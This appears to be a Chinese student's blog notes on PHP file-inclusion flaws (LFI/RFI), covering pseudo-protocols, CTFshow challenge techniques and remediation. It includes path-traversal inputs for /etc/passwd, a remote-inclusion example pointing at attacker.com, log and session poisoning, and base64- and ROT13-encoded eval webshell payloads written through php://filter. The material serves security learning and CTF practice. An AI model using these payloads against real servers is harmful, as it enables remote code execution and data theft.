第50天:PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

第50天:PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒
Yatming的博客文件包含
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
1 | 文件包含各个脚本代码 |
PHP中文件包含函数有以下四种:
require()
require_once()
include()
include_once()
include
和require
区别主要是,include
在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require
函数出现错误的时候,会直接报错并退出程序的执行。
而include_once()
,require_once()
这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
漏洞常见功能点
1. 网站导航 / 菜单加载
很多网站会根据用户点击的导航项(如 “首页”“新闻”“关于我们”)动态加载对应模块的文件(如 home.php
、news.php
),通常通过 ?page=xxx
之类的参数传递文件名。
- 示例:
index.php?page=news
中,后端可能用include($_GET['page'] . '.php')
加载文件。 - 风险:若参数未过滤,攻击者可构造
?page=../../etc/passwd
读取敏感文件,或包含恶意脚本。
2. 模板渲染 / 主题切换
支持多模板或主题切换的网站,会根据用户选择的主题动态加载对应的模板文件(如 templates/default/header.html
)。
- 示例:
?theme=dark
对应加载templates/dark/style.css
,后端可能使用include("templates/" . $_GET['theme'] . "/style.css")
。 - 风险:攻击者可注入路径遍历字符(如
../
),跳转到其他目录包含敏感文件(如数据库配置文件config.php
)。
3. 语言包加载
多语言网站会根据用户选择的语言(如中文、英文)动态加载对应的语言包(如 lang/zh.php
、lang/en.php
)。
- 示例:
?lang=en
对应include("lang/" . $_GET['lang'] . ".php")
。 - 风险:若语言参数可控且未过滤,可能被构造为
?lang=../config
包含配置文件,或通过远程文件包含(如?lang=http://attacker.com/malicious
)执行恶意代码。
4. 日志 / 缓存文件处理
部分网站会动态加载日志文件(如访问日志、错误日志)供管理员查看,或加载缓存文件以提高性能。
- 示例:
admin/log.php?file=access.log
中,后端用include($_GET['file'])
加载日志。 - 风险:若日志文件路径可控,攻击者可利用路径遍历读取服务器敏感日志,甚至通过写入恶意代码到日志(如 User-Agent 注入 PHP 代码),再包含日志文件执行代码。
5. 文件上传与预览
部分网站在文件上传后,会提供 “预览” 功能,通过动态包含上传的文件(如图片、文档)进行展示。
- 示例:
preview.php?file=upload/123.jpg
中,后端用include($_GET['file'])
尝试解析文件。 - 风险:若上传的文件包含 PHP 代码(如伪装成图片的
shell.jpg
内含<?php eval(...) ?>
),且被动态包含,会导致代码执行。
6. 插件 / 模块加载
支持插件扩展的网站(如 CMS 系统、论坛),会根据用户安装的插件动态加载插件文件(如 plugins/payment/alipay.php
)。
- 示例:
?plugin=alipay
对应include("plugins/" . $_GET['plugin'] . ".php")
。 - 风险:攻击者可构造参数包含未授权的插件文件,或通过路径遍历跳转到其他目录。
7. 错误页面 / 调试功能
部分网站的错误处理页面会动态加载错误提示文件(如 errors/404.php
),或调试模式下允许加载特定调试脚本。
- 示例:
error.php?code=404
对应include("errors/" . $_GET['code'] . ".php")
。 - 风险:若参数未限制,可能被用于包含恶意文件。
文件包含-原理&分类&利用&修复
1 | 利用: |
漏洞产生原因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
示例代码
1 |
|
例如:
$_GET['filename']
参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']
的值,执行非预期的操作。
如果你直接去访问这个231.txt,那么只会是普通文本的效果,但是如果是用php写的代码,代码包含了这个231.txt的文件,那么就会将这个文件里面的内容按照php来执行,如果你的网站是asp,那么就会按照asp来执行
1 | 远程包含:就是可以构造一个远程的地址,如果存在远程包含的漏洞的话,就可以包含远程的地址,执行远程地址中的代码 |
但是如果想要实现远程文件包含,需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。本地文件包含的含义就是包含本地服务器的文件
一般情况下,都会有限制,如果想要绕过参考如下:
%00截断:之前的笔记中有,所以这里就不在赘述,这里有一个条件,就是php的版本要小于5.3.4
长度截断:条件:windows,点号需要长于256;linux长于4096(类似于垃圾数据填充)
1 | 本地包含-无限制,有限制 |
远程包含:也是分为有限制和无限制,在PHP中有这样的一个开关:allow_url_include这个开关就是管理着远程包含的开关
伪协议
测试源码:
1 |
|
文件读取:
1 | file:///etc/passwd |
D盘符下面有一个txt文件,文件里面是php的代码,当被包含的时候,就会将里面的有关于php的代码按照当前脚本环境进行执行。
php这种方式可以通过相对路径进行访问:
文件写入:
1 | php://filter/write=convert.base64-encode/resource=phpinfo.php POST:content=base64的数据 |
往一个文件里面写入一个123的内容
代码执行:
这里没有复现成功使用ctfshow的关卡来演示:
代码执行:
1 | php://input POST:<?php phpinfo();?> |
data协议没有成功。这里严重怀疑是我的某个开关没有打开。
破案了,需要开启:allow_url_include
,我php5.3都是默认关闭的,也就是默认:
1 | php://input |
这两种协议都不行
黑盒利用—vulweb—有无包含文件
1 | http://testphp.vulnweb.com/showimage.php?file=showimage.php&size=160 |
白盒利用—CTFSHOW—伪协议玩法
1 | https://blog.csdn.net/wushangyu32335/article/details/136560451 |
下面的都是在 ctfshow 进行文件上传的演示,确实是买不起,所以就没复现,只学习了知识点。
78-php&http 协议
1 | 获取参数:$_GET['file'] |
79-data&http 协议
1 | 获取参数:$_GET['file'] |
80 81 - 日志包含
1 | 获取参数:$_GET['file'] |
82-86-SESSION 包含
1 | 获取参数:$_GET['file'] |
用来生成 session 的页面
session 包含 :https://www.cnblogs.com/lnterpreter/p/14086164.html
Ctfshow Web 入门 - 文件包含总结 :https://www.cnblogs.com/echoDetected/p/13976405.html
详细解法
1 |
|
首先创建一个html页面,第一次先发送对可控的session文件的请求。
这样session的文件名可控。然后通过phpinfo等界面得到session的绝对路径:
得到之后,在通过不断发送包含这个文件的数据包:
然后就这样一起发包进行条件竞争。这个访问session文件的数据包可以放快点。
87-php://filter/write & 加密编码
1 | 获取参数:$_GET['file'] $_POST['content'] |
绕过思路:
利用 base64:
1
2
3
4
5payload:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php
POST提交的内容: content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
这里的aa是占位符利用凯撒 13:
1
2url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>
88-data&base64 协议
1 | 获取参数:$_GET['file'] |
117-php://filter/write & 新的算法
convert.iconv.:一种过滤器,和使用 iconv () 函数处理流数据有等同作用
1 | 获取参数:$_GET['file'] $_POST['content'] |
文件包含—修复
1 | 1、严格检测变量是否已经初始化 |